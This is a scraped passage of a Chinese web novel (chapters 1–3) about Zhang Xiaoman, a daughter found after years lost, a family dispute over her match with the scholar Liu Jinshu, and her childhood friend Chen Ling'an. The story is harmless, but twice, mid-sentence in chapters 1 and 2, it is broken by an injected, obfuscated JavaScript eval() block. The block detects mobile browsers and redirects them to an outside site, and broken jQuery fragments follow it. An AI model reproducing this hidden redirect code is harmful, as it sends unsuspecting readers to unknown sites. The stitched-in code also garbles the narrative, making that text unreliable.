《我竹马才不是大奸贼》
1. 第 1 章
雨后初晴,张家正院郁郁葱葱一片苍翠,地上浅浅的积水映着初夏与暮春交替的阳光,流金一样熠熠生辉。
东次间的桌上摆满了衣料样子。
夫人蒋氏慢慢挑拣了一阵,吩咐道:“天青色淡雅,正适合夏天穿,鹅黄娇俏,倒正和三丫头的性子。这匹缕金凤穿牡丹大红妆花缎做马面裙最好,上面再配豆绿的大袖衫,显得矜贵又稳重。一样两匹,都给三丫头送去。”
内管事方妈妈迟疑了下,没有立刻行事。
太太口中的三丫头,名唤小满,两岁时丢了,找了多少年都没找到,她生母也因此郁郁而终。
本来都不抱希望了,没想到年前一个回乡荣养的老嬷嬷途径宣化,凭着肩头的胎记,竟是认出了流落乡野的三姑娘。
听说找到三姑娘时,那雪下得纷纷扬扬的,风扑在人脸上就像刀子割,可她还在山上捡柴,手上都是冻疮。
就是她们这些伺候主子的丫鬟们,都没受过这样的罪。
难怪太太怜惜她。
可未免怜惜太过了。
这些上用的丝绸,统共十种花色二十匹料子,张家一位公子四位姑娘,唯三姑娘独占四色八匹,其中还有两匹时下最流行的妆花缎。
若是四姑娘知道妆花缎全给了三姑娘,肯定会发脾气。
四姑娘是姚姨娘所出,母女俩都是老爷的心尖尖,真闹将起来,倒让太太落个偏心善妒的错处。
方妈妈委婉提醒了一句。
蒋夫人笑笑,不甚在意,“小满刚回来,有什么好东西自然先紧着她。这孩子命苦,亲娘没了,老爷对她又是平平,府里的人又一向跟红顶白,我这个做母亲的再不上心,她在府里可如何立足?”
方妈妈心头一动,听太太话里话外的意思,是不是想把三姑娘记到自己名下?
太太嫁到刘家二十年,先后两个孩子都没保住,自己也落下毛病无法再生育,终日懒懒的,对一切都提不起兴趣。三姑娘活泼开朗,见面不笑不说话,自打她回来,死气沉沉的正院也开始活泛了。
若真能一解太太的忧思寂寥,偏疼些也没什么。
方妈妈不再劝说,带着几个小丫鬟把衣料子给三姑娘送去。
刚出院门便见老爷迎面走来,方妈妈忙屈膝施礼。
张文身材修长瘦削,相貌英俊儒雅,即便人已中年,仍可见当年美男子风采。
他目光扫过丫鬟们抱着的衣料子,“给谁的?”
账目上记得清清楚楚,方妈妈只能据实回话,“回老爷,给三姑娘的。”
张文什么也没说,径直去了正房。
还未到下值时刻,蒋夫人见他回来有些诧异,“今儿这么早就回来了。”
“衙门无事,左右都是闲坐,不如回家来。”张文翻了翻桌上剩下的衣料样子,回身坐下,“初九平阳侯府的四时宴,你是如何安排的?”
四时宴是后宅女眷间的聚会,张文素不过问。
蒋夫人眉头暗挑,不紧不慢说:“三丫头随我赴宴,已给侯府回信了。”
张文又问:“听说刘家大公子刘瑾书也去,他头一次在这种宴会上露面,恐怕……是相看来的吧?”
既然问出口,就说明他已经知道了,没必要再隐瞒。
蒋夫人道:“对,我妹妹帮忙牵线,这是给小满说的亲事,所以此次我只带她去。”
言下之意非常明确。
张文却说不妥,“刘家书香世家、满门清贵,而小满长于乡野,只粗粗认得几个字,担不起高门主母的担子。即便刘家相看小满,也是碍于你妹妹的面子。此事不见得能成,反惹得别人笑话小满痴心妄想,不自量力。”
这倒是实话,蒋夫人的妹妹嫁到平阳侯府秦家,而刘家夫人秦氏,正是小蒋氏的大姑姐,要不是小蒋氏一力作保,秦夫人不见得会应下此事。
那刘瑾书少时成名,一直是京城热门的佳婿人选,多少人家都眼巴巴盯着他。一旦黄了,难免有眼热之人暗地里奚落小满。
蒋夫人的眉头微微拧起,“那依老爷看,此事就此作罢?”
张文端起茶杯浅饮一口,慢慢道:“刘瑾书前途无量,而且他父亲即将入阁,此门亲事能成的话,于张家十分有利。”
“君懿才貌性情样样出挑,在京中颇具美名,若是她,便可十拿九稳了。至于小满,我另有安排。”
君懿是四姑娘的闺名。
蒋夫人一听就笑了,“难怪今日早早回家,原来是为了换亲,老爷为四丫头真是煞费苦心了。”
她话中不乏讥诮之意,张文脸上闪过一抹不自在,“亲事未成,何来换亲之说?结亲是结两姓之好,自然要选品貌才学相当之人,推个不般配的去相亲,不是结亲,倒是结仇了。”
左一个不成,右一个不般配,蒋夫人再好的涵养也忍不了了。
“孩子刚回家的时候,你说要好好补偿她,却是处处挑刺,一味贬低。四丫头是你女儿,小满就不是?有你这样当爹的吗?”
“就因为她不是府里长大的姑娘,和咱们差不多的人家,连相看都不愿意相看。上赶着来求娶的,又多是趋权附势之徒,小满在外头吃了十来年的苦,我们不能把她再往火坑里推。”
“眼瞅着都十七了,亲事不能再拖,好不容易刘家愿意相看小满,你却让四丫头顶了她,简直是一巴掌扇在小满脸上!你让阖府上下如何看她,她今后又该如何自处?偏心也没这个偏法!”
噼里啪啦一阵数落,砸得张文有点下不来台。
他出身寒门,晋升之路算不得顺畅,在给事中的位子上蹉跎多年,幸而在当今和废帝之争中站队站对了,得了个光禄寺少卿,此后却卡在五品官怎么也升不上去。
好容易捡个机巧,作为各方势力妥协的结果当上了吏部尚书,听着大权在握,却是有名无实,完全被内阁和两个侍郎架空了。
别说进入权力中心,随时被人代替都有可能。
他迫切需要有人提携一把。
而刘家百年世家,在应天府的势力根深蒂固,又与当朝次辅陈绍关系匪浅,如果和刘家成为姻亲,他不但能坐稳尚书的位子,说不定还能入阁。
这个蒋氏,不说帮忙,还一个劲添乱,动不动就挑他毛病,训孙子一样训他。
他才是一家之主!
越想越来气,张文怒目而视,“分明是你处事不公,却说我偏心。你不喜姚氏母女,拿小满当由头打压君懿,只凭个人喜好做事,全然不顾张家的前途利益。善妒、无子、口舌,想想你犯了多少条吧!”
说罢拂袖而去。
蒋夫人双手攥得发白,连着深吸几口气,好歹支撑着没有失态。
她偏要促成这桩亲事,偏不让他们如意!
*****
张文喜静,因而府中一向讲究静谧平和,各处院子也往往阒然无声,鲜少有人喧哗玩闹。
除了三姑娘的清棠苑。
隔着院墙就听见里面一片欢声笑语,
方妈妈嘴角也跟着翘了起来。
张家人原本以为,穷乡僻壤长大的三姑娘,必定畏畏缩缩一股子卑怯样儿,然而三姑娘偏偏不一样!
脾气随和爱说爱笑,别人奉承也好,挖苦也好,她笑笑便过,丝毫不往心里去,颇有点“超然物外”的意思。
即便亲事不顺,也没影响到她的情绪,依旧开开心心的。
果然,推门便见三姑娘在踢毽子,旁边围着几个丫鬟拍手叫好。
养了三个多月,身量高了一些,脸也比刚回府的时候红润了点,昔日劳作留下的粗糙痕迹却还没有消退。
轮廓柔和的鹅蛋脸,眼睛大而亮,笑起来嘴角有两个小小的梨涡,纵然肌肤不够细腻莹润,这份甜美明媚也足以填补了。
许是经常跑跑跳跳的缘故,长手长腿的,看起来颇为矫健,十分有活力的样子。
就像广袤田野里蓬勃生长的杨树。
在庄户人家自然是好的,可在大户人家看来,就显得不够娴雅稳重了。
也不知三姑娘的造化在哪里,方妈妈暗暗感慨了声。
“方妈妈!”张小满瞅见她,欢快地跑过来,“呀,这是给我的?”
方妈妈笑道:“太太特地给姑娘挑的,明儿个云裳坊的人来给姑娘量衣裳,姑娘喜欢什么样式只管和她们说。”
“母亲真疼我!”张小满抬手抹了把汗,擦完才发现丫鬟递过来的棉巾子,赧然一笑,请方妈妈进屋喝茶,“有劳妈妈跑一趟,刚得了点雨前茶,都说这茶好,妈妈尝尝。”
方妈妈推辞了:方才老爷已然注意到这几匹料子,太太脾气硬不会说软话,万一吵起来可不妙,她得赶紧回去看看。
张小满命人把茶叶包好拿给方妈妈,“我不懂品茶,好茶给我也是可惜,妈妈千万拿着。自打我回来,受了妈妈多少照顾,好歹是我一片心意。”
方妈妈笑着道谢,接过茶叶退了出去。
八匹丝绸摆在屋里,午后的阳光透过窗子铺陈在上边,愈发显得华光灿烂,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901240|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
五色缤纷。
小丫鬟锦绣上前凑趣道:“瞧这云锦,彩霞似的,穿在身上不知多好看,等到了四时宴,姑娘必定是最抢眼的那个。”
张小满哈哈一乐,“只怕是最招人议论的那个才对。”
“不遭人嫉是庸才,随别人说去。”锦绣忽面色一肃,低声叮嘱道,“姑娘要小心四姑娘,上次周家亲事不成,保不齐就是她和她姨娘捣鬼。现在姑娘有更好的亲事,更要提防着她们。”
这是另一桩官司了。
周家是上一个有意相看她的,结果临到见面,却说以为冰人提的是四姑娘,搞错了,对不住,不来了。
嫡母气得够呛,不但与周家断了来往,也迁怒上了姚氏母女。
锦绣是嫡母院子里出来的,会这样想当然不可避免。
张小满却没顺着她的话说四妹妹的不是,“周公子只是监生,四妹妹眼界高,看不上他的,肯定不愿意和他有牵扯。”
“周家一开始就瞧不上我,不过看中了父亲吏部尚书的门第,才勉为其难答应相看,大概后来又有了更好的选择,才拿四妹妹作幌子回绝了。”
话音甫落,就听门口传来一声娇喝,“你还算有脑子。”
门帘一挑,露出张君懿娇美的脸。
背地里说人长短被抓个正着,锦绣窘得满脸通红,一面暗恨外面的人不知道通禀,一面讪讪退了下去。
“四妹妹坐。”张小满笑着岔开话题,“我刚做好几个毽子,正想找你玩呢,可巧你就来了。”
张君懿心里装着事,也没心情与小丫鬟计较,扫一眼桌上的衣料子,轻轻哼了声,递过来一个锦缎匣子,“刚得的蝴蝶钗,喏,送你,咱俩扯平了。”
“扯平?”张小满眼神微闪,笑嘻嘻问,“你做了什么对不起我的事,快快从实招来。”
张君懿一怔,随即脸腾地涨得通红,伸手就去夺那匣子,“爱要不要,不要还我!”
“哪有送出去的东西又要回来的?”张小满抱着匣子边躲边笑,“一句玩笑话,可就恼了,好妹妹,我说错了还不成?”
张君懿又推了她一把,方住了手。
张小满打开匣子,不由惊呼一声。
砖红色素戎内衬上,静静躺着一根金钗,钗头用头发丝粗细的金丝编织出蝴蝶的样式,翅膀用绮丽夺目的翠色镶嵌,加以珍珠红宝装饰。
拿在手中,翅膀微颤,光线变幻,翠色亦光波流转,那蝴蝶瞬间灵动异常,仿佛活了一般,就要在手上飞起来。
“这……太贵重了吧?”张小满犹豫着要不要收下。
“金点翠嵌珠宝,当然贵重,太太那里都不见得有成色更好的点翠钗。”张君懿很是自得,想了想又说,“于我倒是普通,给你戴着玩吧。”
似是不愿再继续这个话题,张君懿起身走到书桌旁,看着研好的磨和信纸,“你要写信?”
张小满叹了声,“想问问宣府老家的情况,可惜写了也寄不出去。”
父亲母亲都不喜她和收养她的人家来往,自打来了京城,她一封信也没送出去过。
张君懿说:“遇到我算你运气好,我的奶哥哥明天北上收租,不过多绕段路的事,我吩咐他一声也就是了。”
张小满眼睛一亮,“那可太感谢你啦!”
“不过我得知道你信上写的是什么。”张君懿站在书案旁,俨然一副要盯着她写的模样,“别瞎显摆请一帮穷亲戚来京城,让我们全家都跟着丢人。”
张小满微微怔楞了下,失笑道:“哪儿能呢,我就是……就是想打听邻家哥哥回来没有。”
“都要和刘公子相亲了,还惦记别的男人。”张君懿低声咕哝一句。
张小满耳朵好使,立时听见了,却没说话。
嫡母前晌才告诉她相看的事,还是避着人说的,除了贴身丫鬟锦绣,这院子里再没人知道。锦绣一直和她在一起,不可能透露出去。
四妹妹消息如此灵通,看来姚姨娘的手,已经伸到正院去了。
张小满垂下眼眸,提起笔。
一时屋里静了下来,只有笔尖与信纸摩擦的沙沙声。
看着纸上的字,张君懿不由惊讶了,和想象的不一样,小满的字娟秀柔韧,竟隐隐透出几分大家风范。
刚想问问她是不是上过学,却见纸上出现“陈令安”三个字。
张君懿脑子嗡的炸响,失声叫道:“你要打听的人是他?”
笔尖顿住,张小满满怀希望地看过来,“你认识陈令安?”
2. 第 2 章
张君懿的确知道有个男人叫陈令安,却是提也不敢提他的名字。
当今一手提拔的锦衣卫新贵,嚣张跋扈,手段酷烈,打着清算废帝旧党的名头,短短两年间制造数起大案。朝廷百官简直是谈陈色变,甚至有人听到他要问话,惊惧之下竟然自尽了。
张小满的竹马,怎么和他一个名字?
莫非……
不对,陈令安潜邸侍卫出身,一直在辽东,从没听说去过宣府。
重名而已,巧合罢了。
明知不可能,却是越想越害怕,越害怕越想,似乎下一秒,那个恶煞就会破门而入。
张君懿打了个寒颤,急急摇头,“不认识,不知道。”
张小满不信,“那你刚才……”
“你还写不写了?”张君懿突兀地打断她的话,“不写我可走了。”
张小满不再追问,抱着死马当活马医的心态,刷刷几笔写完信,又从柜子底翻出一小包碎银子,约莫五六两的样子,想一并送到宣府乡下。
张君懿瞥了眼,“还不够我打赏奶哥哥的,也值得你特意送过去?”
张小满低头笑了下。
嫡母赏的东西她不敢送人,偌大的张家,处处是人情世故,各个地方都要用钱,就这些,还是她好不容易攒下的。
“乡下和京城不一样,这些银子足够小半年的开销了。”她没有解释,只笑着把信和银子往张君懿怀里一放,“有劳妹妹啦。”
张君懿抬起下巴哼了声,刚要走,又站住了,犹犹豫豫问:“你那邻家哥哥……长什么样?”
“他漂亮得像个女孩子,左额角有个小坑,长得……”小满双手比划了下,“长得很张扬。”
张君懿努力想象“张扬”的长相。
“性格却完全相反,内敛沉稳,和不熟的人说话会脸红,是个很温柔很和善的人。”
说着说着,张小满不由叹息一声,“九年不见,我也说不上他现在的模样。”
温柔、和善……和那个恶煞完全不同,张君懿吁口气,心放下大半,摆摆手,“走了。”
“等等,”张小满叫住她,“你可见过刘瑾书?”
“见过,如何?”
“他是个怎样的人?”
张君懿先是探究似地盯视她一眼,方慢慢道:“出身南直隶名门望族,三岁启蒙,十六岁中举,十七岁点为探花,从翰林编修做起,不过短短五年,已是侍讲学士了。”
“先帝曾亲口夸赞,聪慧貌美,可谓芝兰玉树。他是京城所有闺阁女子心中最完美的郎君。”
话音越来越温柔,眼中的眷恋几乎要掩饰不住了。
忽意识到自己的失态,张君懿猛地看过来,“你问这个干什么?”
张小满坦然道:“不瞒你说,我大概是要与他相亲的。”
张君懿的眼中掠过一丝复杂莫名的感情,黯然、艳羡、不甘,还有些许的愧疚,种种交织在一起,让张小满有点看不懂她了。
“四妹妹,你是不是喜欢他?”她忍不住问出了口。
张君懿大惊,想也没想一口否认,“没有的事!女儿家的名声比命重要,你少胡说败坏我的名声。”
男未婚女未嫁,喜欢一个人竟能牵扯到名声?
张小满很是不理解,想了想说:“我的意思是……如果你喜欢他,我就和母亲说说,看能不能换你去相亲。即便我去,九成九也成不了,反而堵死了你的路——张家姑娘不是大白菜,没有相看完姐姐,再去相看妹妹的道理。”
惊愕慢慢散去,猜疑渐渐浮现,张君懿犹豫极了。
清风拂过,檐铃丁丁轻响,三交六椀菱花窗棂上光影交错。
张小满耐心地等待着她的回答。
最终,张君懿还是摇了摇头。
“真的?”张小满又问。
“你烦不烦啊,说不喜欢就是不喜欢。”张君懿似是恼了,拿着银子和信扭头就走。
然而刚出院门,她的脸一下子就耷拉下来,等回到朝霞榭,人已被落寞笼罩住了。
独自发了半日呆,直到暮风把手边的书信吹落,才想起张小满托她的事还没办。
她直直盯着那封信,一咬牙,捡起来塞进多宝格最下面的小抽屉。
许是关抽屉的声响有点大,丫鬟诗晴进来看怎么回事,“姑娘?”
“叫赵全把钱捎给宣府收养三姐姐的那个老婆子。”张君懿吩咐道,到底觉得那几块碎银子太少,“就这么送过去,没的丢我张家的脸。再拿二百两银子,都算三姐姐的,记住别让人知道。”
“天底下再没有比姑娘更心善的人。”诗晴奉承道,目光却往多宝格转了转,随即拿银子退下去。
没多久,姚姨娘过来了。
孩子都已长大成人,她自然不能算作年轻,但岁月似乎格外眷顾她,成熟妩媚的面容,丰润又不失婀娜的身姿,让她看上去别有一番风韵,丝毫不输风华正茂的少女。
“你去找张小满了?”姚姨娘将一包银子放在桌上。
她说话又柔又软,含着笑意,明明是很温和的声音,张君懿却绷直了脊梁,眼中闪过一丝紧张。
“是。”连银子都被姨娘截住了,张君懿知道瞒不过去,慢慢站起身,把事情经过说了一遍,只隐去了与陈令安同名的竹马和那封信。
姚姨娘点点女儿的额头,“那点翠蝴蝶钗是银作局的手艺,专供内廷的娘娘们,外头有钱都买不来。你倒大方,转手就送人。”
张君懿沉默着垂下眼帘。
“大可不必感到愧疚。”姚姨娘抚着女儿的肩头柔声道:“我观察了这几年,满京城只有刘瑾书才配得上我儿,本打算秋闱后让你哥去探探他的口风,没想到太太抢了先。是她们抢了你的亲事,你才是受委屈的那个人。”
姚姨娘还生有一子,也是张尚书唯一的儿子,如今在南翠书院读书,算是刘瑾书的同门师弟,也能说得上话。
“太太如意算盘打得好,可张家,终究是老爷做主。”
听到这话,张君懿抬头看向姨娘,“太太答应了?”
“怎么可能?太太吃软不吃硬,老爷又不是个能哄人的。”姚姨娘轻笑,“非但没松口,还大吵一架,看着吧,至少一个月,老爷都不会再踏入正院。”
张君懿着急了,“可是你说一定能让我出现在四时宴上。”
“你总是沉不住气……”姚姨娘无奈一笑,几句耳语过后,张君懿愣了半晌,方犹豫着点点头。
“可惜呀,”姚姨娘低低叹道,“我不能看到太太那时的脸色了,想必一定很精彩。”
*****
西坠的太阳不甘心地燃烧着余晖,金色的光华被窗棂分割成一块一块的,投在地面上,逐渐变得暗淡。
桌上的衣料子已经收起来了,张小满一边拿着花样子在鞋面上比划,一边听锦绣说正院的事。
锦绣是方妈妈的外甥女,与正院各处人都熟,消息也最灵通。
“不知道吵了些什么,只隐约听见几声姑娘的名字,随后老爷就怒气冲冲走了……”
张小满放下手里的花样子,满脸的疑惑,“难道我哪里做的不对,又惹他老人家生气了?”
可她绞尽脑汁想了半天。也不知道自己到底哪里做错了,挥挥手“嗐”了声,“算了,反正他也不待见我。”
锦绣说:“姑娘还是把名字改了吧,不是奴婢多嘴,显得不是一家子似的。”
张小满笑着摇摇头。
张家这辈的姑娘从“懿”字,她刚回来时,老爷给她另取了名字,可她不愿意改,惹得老爷生了好大一场气,自此就对她日益冷淡。
老爷还与嫡母抱怨,认为她还念着宣府那边的人,心没在张家。
其实她是满心欢喜回张家的,哪个被拐的孩子不想找到亲生父母呢,谁不渴望回家、向往亲情呢?
可老爷第一次见她那眼神,那打量的目光,就像掂量她能卖多少银子!
真真无趣。
小满自嘲似地笑了声。
锦绣也跟着叹气,眉梢嘴角也耷拉下来。
张小满失笑,伸出左右两根食指,轻轻压在锦绣嘴角往上一提,“别担心,事情总会好起来的,喏,笑一笑。”
“姑娘!”锦绣被她搞得哭笑不得,“你倒是心大。”
心情却不似方才那样低落了。
锦绣忍不住又提醒一句,“姑娘还是小心点四姑娘,千万别戴她送的簪子,我看她是黄鼠狼给鸡拜年——没安好心!”
小满一下被逗乐了,“她肯定有私心,害我倒不至于。”
锦绣:“姑娘忘了背后还有姚姨娘,那可不是个善茬。”
无论如何,好在还有太太护着姑娘。锦绣轻轻吁口气,自去厨房看姑娘的饭食如何了。
屋里安静下来,张小满打开八宝攒盒,拈起一颗盐津梅子放入口中。
梅子的味道弥漫开来,和记忆中的味道有七八分相似。
八岁那年,从人贩子手中救下她的养父母意外去世了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901241|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
亲戚们为了养父母的五十亩地吵翻了天,一个个乌眼鸡似的,独独没人愿意收留她这个毫无血缘的孤女。
她受不了亲戚们的推诿谩骂,悄悄躲了出去。
天空下着小雨,水气烟雾搅成一团,迷蒙了她的视线。
有人从那片混沌中慢悠悠走近。
十一二岁的年纪,一身素白的衣裳,身材有些瘦削,微微皱着眉头,眼中是不属于这个年纪的忧思和愤然。
他没有撑伞,额头垂下几缕发丝,末梢挂着透明的雨滴。
“无处可去?”不等她回答,他又说,“我也是。”
她哑着嗓子问他是谁,“从来没见过你,来找林亭先生读书吗?”
林亭先生是位老秀才,得空时会教村里的孩子们读书,因为不收束脩,也有别村的人过来求学。
“陈令安。”他声音很低,需要仔细听才听得见。
等了一会儿,没等到他别的话,她磕磕巴巴开口:“我叫小满。”停了停,不见他应声,就没话找话似地说,“遇见我那天,正好是小满节气,我娘就给我起名小满。”
提起娘,小满的声音开始哽咽,控制不住哭了起来,越哭越大声,根本止不住。
屋里的亲戚们听得心烦,冲出来骂她,“克父克母”、“扫把星”、“小贱人”……
有不认识的人抓住她,嚷嚷着去人市把她卖了!
小满才不干,拼尽全力反抗。可她才八岁,怎敌得过身强力壮的大人?
寒光闪过,陈令安的刀架在那人的脖子上。
他的眸子比刀锋更冷。
那人退却了。
隔房的大伯质问他是谁,凭什么管别人家的事,不知哪里来的婶娘骂她不检点,爹娘还没下葬就和外人搅和在一起。
也有人从中劝和的,七嘴八舌,乱乱哄哄一片。
陈令安向她伸出手。
“抓紧我,别松手!”
温热一点点从手上传递过来,驱散了笼罩在身边寒冷冰凉的湿气,小满突然没那么害怕了。
不知过了多久,周围终于恢复了平静。
陈令安递给她一颗盐津梅子,“别担心,事情总会好起来的。”
酸酸甜甜的,带着点咸味,还有微微的辣。
或许是那颗盐津梅子带来的好运,村头的老阿婆收养了她,日子虽清贫,却再不用担心被卖。
陈令安也留在林亭先生的书馆读书,两家隔一道篱笆矮墙,只要一抬头,就能看到窗边他读书的侧影。
浓绿欲滴,知了长鸣,夏阳的碎片在纸上摇曳,少年认真写着字,偶尔抬眸一笑,回应下她的期盼。
他们目光交错,不说话,就十分的美好。
秋风染红了枫叶,陈令安要离开了,一向懂事的她头回使起了性子,拉着他的袖子不肯松手。
陈令安缓慢而坚定地抽回自己的袖子,“等来年小满时节,我回来找你。”说着,手指压住她的嘴角轻轻向上一推,“别哭,等我们再见面的时候,我想要你笑着奔向我。”
她用力点头,后来无论遇到什么难事,她再也没有哭过。
然而一个又一个的小满节气匆匆而来,又姗姗离去,总是不见他的身影。
陈令安逐渐从人们的口中消失了,仿佛从没来过一样。
暖风柔和,窗棂轻颤,树叶沙沙的响,几只喜鹊翩翩起落,茅屋草舍变成了亭台楼榭,恍惚一场梦。
比起让嫡母焦急的亲事,她更惦记的是陈令安。
刚回来的时候,她试着请父亲帮忙寻人,可还没说出陈令安的名字,就被父亲不耐烦地打断,厉声告诫她不准再提宣府的过往。
一开始她不明白,后来慢慢懂了。
在父亲眼里,十五年的乡野时光不但是她的污点,也是张家这等高门贵族难以接受的瑕疵。
她最好彻底割裂掉这段过去才好。
可是不说,就代表不存在吗?
张小满走到书案前,提笔写道:你还好吗?我要去相亲了,大抵不成的,可这个不成,还有下一个,早晚会嫁给一个父母都满意的男人。
带着暖意的暮风缓缓拂过,将墨迹一点点吹干。
她拉开黑漆雕花立柜的小抽屉,把这张纸放进一个小红匣子里。
里面满满当当都是寄不出去的信。
日头落下又升起,不管地上的人们各自心思如何,时光总是一刻不停向前疾驰的。
很快,四月初九到了。
3. 第 3 章
宴席是京城各家交往中必不可少的场景。
认识的不认识的、亲近的疏远的齐聚一堂,看着热闹和煦,其实暗流涌动,不动声色传递着京城的新鲜事,言笑晏晏间,不知谁家谁人已沦为席间的谈资。
今日占据舌根的是刘瑾书。
刘瑾书自中举就被各家惦记上了,奈何人家一心只读圣贤书,根本无心婚配。与他同龄的都当爹抱俩抱仨了,他还慢悠悠的不着急。
“他不急,急坏了他娘,这不,到底相看来了。”说话的是周夫人,满头珠翠,穿着入时,却怎么也遮挡不住眉目间的小家薄相。
她往前面林荫掩映处抬抬下巴,眼中不乏艳羡。
席间一静,数道灼灼的视线看过来。
那是平阳侯府景色最美、最幽静的一处水榭,隔着郁郁葱葱的柳林,只能看到水榭飞翘的檐角。
“看的是哪家姑娘?”有人关切问道。
“张家刚找回来的那位行三的姑娘。”答话的人看向周夫人,“我记得你先前还想与张家做亲来着,好像就是她吧。”
周夫人撇撇嘴,“原以为都是张家的姑娘,差也差不到哪里去,没想到……唉,我们也是被人骗了。”
连周家这样的门户都瞧不上她,更别说刘家了。
草鸡怎能变凤凰,一个粗鄙村姑,若能压得过满城名门闺秀,那才骇人听闻呢!
席间气氛旋即活跃,高高低低的笑声浪花一样荡开,当碰触到林荫下的一行人以后,浪花迸碎成泡沫,然后消失在灿灿的阳光中了。
林荫处,婢女引着蒋夫人走向水榭。
蒋夫人身旁是一个个子高挑的小姑娘,穿着月白底儿绣红牡丹对襟长褙子,雨过天青百褶裙,素雅中带着娇俏,走路生气勃勃的样子,一下子就引起所有人的注意。
许是感受到众人的目光,小姑娘扭头望过来。
鹅蛋脸杏仁眼,鼻梁高挺,嘴唇红润,透着恬静俏丽,眉宇间又带着几分爽利。容貌不俗,但在美女如云的京城闺秀中,还算不得拔尖。
就在这时,小姑娘笑了一下。
那笑容又真挚又明亮,就像和煦春风拂过灰败寂寥的枝头,瞬间千树万树桃花开,瞧得人心里暖洋洋的,忍不住也跟着笑了。
“那是……张家三姑娘?”
和传闻中土里土气没见识的乡下妹不一样,莫非有人故意诋毁人家?
灼灼目光纷纷落在周夫人身上,烧得她脸皮着了火,沉默也不是,分辩也不是,只恨张小满生得这样好,也没一点畏畏缩缩的姿态,竟让她当众丢了面子!
她又恼又酸,“为了刘公子,可是下苦功夫了。”
一句话,引得众人看张小满的眼神又变得复杂,不知谁发出一声似有似无的叹息,倒是委婉地表达了这些贵妇贵女们的心情。
暖风飒然而过,闲言碎语还未飘至小满耳旁,就被风吹散了。
虽说对这次相亲不抱期待,可此时她代表着张家姑娘,也关系着嫡母的脸面,说不紧张是假的。
她轻轻吁出口气,随嫡母走上栈桥。
丫鬟通禀的声音刚落,平阳侯世子夫人小蒋氏已经迎出来了。
“姨母。”张小满屈膝问好。
小蒋氏细细打量一阵,冲蒋夫人点头笑道:“在你身边养了这许多日,果然进益不少,瞧着像个大家闺秀了。”
蒋夫人斜睨她一眼,“什么叫‘像’?我们小满本来就是。”
她语气有点呛人,可姐妹二人自小玩闹惯了,小蒋氏丝毫不以为意,“是是是,是我说话不妥当。”
又压低声音道:“咱们快进去吧,我大姑姐一大早就到了,问了你们好几次。”
蒋夫人一听,急忙拉着张小满趋步入内。
张小满心里有点不是滋味。
平阳侯府是秦夫人的娘家,她早早地来,真不一定是在等她们。况且她们在门口说话,秦夫人准能听见,却依旧在屋里坐着不动。
两家门第并没有多大的差距,秦夫人这般作态,多少有点傲慢了。
她能想到这层,嫡母肯定也能,只是为着她的亲事,才放低了身段。
嫡母在和秦夫人打招呼,几句热情的寒暄过后,提到了她的名字。
张小满深吸口气,抬眸向座上之人望去。
瘦削脸,面色发白,颧骨有点高,表情沉静,隐隐透出威严,投过来的目光有审视的意味,并不让人十分难受,却也不大舒服。
张小满规规矩矩蹲了个万福。
自打回京,就有教引嬷嬷教她礼仪,乍一看很能唬人了。
秦夫人浅浅笑了笑,却是向门口瞥了一眼,方开口说话,“坐吧,可怜见的,在外面吃了不少苦头吧,难为你能全须全尾回来。”
张小满笑道:“和京城的生活当然一个天一个地,说实话,来京城之前,我都想象不到还有人世间还有这样的生活。早饭光是粥就有四五样,加上各色菜肴、点心、饽饽,一张八仙桌都摆不下。在乡下,就是过年也吃不了这么好的。”
她看看自己身上的衣服,又看着自己的手,颇为感慨,“我刚回张家的时候,第一次见绫罗绸缎,特别的稀罕,就摸了摸,结果手上的老茧立刻把衣服划花了。后来知道那件衣服够买十亩地,心疼得我几宿都睡不着觉。”
说话时,她有点窘然,却没有任何的自卑,就好像和亲密之人说笑自己的糗事一样。
屋里的三位太太也都笑起来,窗外柳林也簌簌摆动着枝叶,将林中一两声轻笑掩饰过去。
张小满又说:“说乡下苦,也没多苦,有衣穿,有饭吃,比起吃不饱肚皮的人,我还是蛮幸运的。”
倒是个心胸豁达,不一味怨天尤人的姑娘。
秦夫人的表情柔和几分,嘴巴却依旧不算客气,“宣府偏僻苦寒,强寻乐处,亦有可喜。”
张小满好像没听出她话里的不以为然,兀自笑嘻嘻道:“那个地方的确穷,庄稼人没多少玩乐的功夫,大部分时间都在为生计忙活。”
“太阳还没起早,一天就开始了。先是一阵吱吱嘎嘎的开门声,空气里渐渐弥漫烧柴火的烟味,淡淡的,混着热粥的香气,很好闻。”
“没多久,一个接一个的小后生跑出门,他们肩上背着书袋,笑闹着,朝私塾的方向跑得飞快。”
“随后,赶早的人们挑着菜担子出现在村口的小桥上,多数是母亲带着闺女,篮子里装着时令鲜蔬,香葱、韭黄、蒜苗、芹菜、萝卜……水灵灵的,都是又胖又嫩的‘尖儿’,准能在镇上卖个好价钱。”
她脸上漾出一种对往事特有的怀念和惆怅,“阿婆起早贪黑伺候菜地,我天不亮就挑到集市上去卖,攒了一年的钱,过年扯了块红布做新衣裳,可把我美坏了,睡觉都不肯脱。”
如今新衣裳再多、再名贵,可再也没有那时的感觉了。
和风带着潮湿的水气,将竹林作弄的萧萧飒飒。
隐在竹林后的年轻男子,听得有些入神。
秦夫人不动声色瞥了一眼窗外竹林,这样的成长环境,显然不匹配书香门第的刘家。
但该有的过场还得走,便又问她平日里都做些什么,有没有进学。
蒋夫人给她使眼色。
张小满明白嫡母的意思,想给秦夫人留个好印象,她就得往琴棋书画上靠。
